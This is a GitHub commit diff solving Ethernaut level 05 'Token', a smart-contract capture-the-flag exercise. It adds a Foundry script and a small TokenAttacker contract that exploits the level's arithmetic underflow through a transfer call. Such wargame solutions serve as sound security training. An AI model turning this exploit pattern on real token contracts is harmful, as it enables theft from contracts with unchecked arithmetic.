Skip to content

Commit

Permalink
complete 05-Token
Browse files Browse the repository at this point in the history
  • Loading branch information
tannerang committed Jan 17, 2024
1 parent ede45b4 commit cff2f14
Show file tree
Hide file tree
Showing 2 changed files with 25 additions and 2 deletions.
8 changes: 6 additions & 2 deletions script/solutions/05-Token.s.sol
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,7 @@ import {Script, console2} from "forge-std/Script.sol";
import {EthernautHelper} from "../setup/EthernautHelper.sol";

// NOTE You can import your helper contracts & create interfaces here
import "../../src/05-TokenAttacker.sol";

contract TokenSolution is Script, EthernautHelper {
address constant LEVEL_ADDRESS = 0x478f3476358Eb166Cb7adE4666d04fbdDB56C407;
Expand All @@ -16,8 +17,11 @@ contract TokenSolution is Script, EthernautHelper {
address challengeInstance = createInstance(LEVEL_ADDRESS);

// YOUR SOLUTION HERE


TokenAttacker tokenAttacker = new TokenAttacker(challengeInstance);
(, bytes memory returnData) = challengeInstance.call(abi.encodeWithSignature("totalSupply()"));
uint total = abi.decode(returnData, (uint));
console2.log("totalSupply", total);
tokenAttacker.attack(20999980);

// SUBMIT CHALLENGE. (DON'T EDIT)
bool levelSuccess = submitInstance(challengeInstance);
Expand Down
19 changes: 19 additions & 0 deletions src/05-TokenAttacker.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

interface IToken {
function transfer(address _to, uint _value) external returns (bool);
function balanceOf(address _owner) external view returns (uint balance);
}

contract TokenAttacker {
address public challengeInstance;

constructor(address _challengeInstance) {
challengeInstance = _challengeInstance;
}

function attack(uint amount) external {
IToken(challengeInstance).transfer(msg.sender, amount);
}
}

0 comments on commit cff2f14

Please sign in to comment.